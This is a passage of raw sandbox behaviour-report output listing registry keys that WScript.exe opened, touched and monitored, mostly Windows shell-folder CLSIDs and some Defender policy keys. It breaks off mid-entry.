module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base a12c0000 "WScript.exe" loaded module "NTDLL.DLL" at base a48300002e:Tfb4,"WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "WScript.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS")2f:T462,"WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\HwOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Control\NetworkProvider\ProviderOrder" (Filter: 4; Subtree: 0) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" (Filter: 5; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows Defender" (Filter: 5; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\DelegateFolders" (Filter: 268435461; Subtree: 1)30:T102c6,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\APPLICATIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\INTERFACE\{00000134-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{00000134-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\INTERFACE\{00000134-0000-0000-C000-000000000046}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{00000134-0000-0000-C000-000000000046}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\INTERFACE\{CD17328B-E4EF-4215-A92D-62A914658F82}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{CD17328B-E4EF-4215-A92D-62A914658F82}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\INTERFACE\{CD17328B-E4EF-4215-A92D-62A914658F82}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{CD17328B-E4EF-4215-A92D-62A914658F82}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{2F6CE85C-F9EE-43CA-90C7-8A9BD53A2467}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: 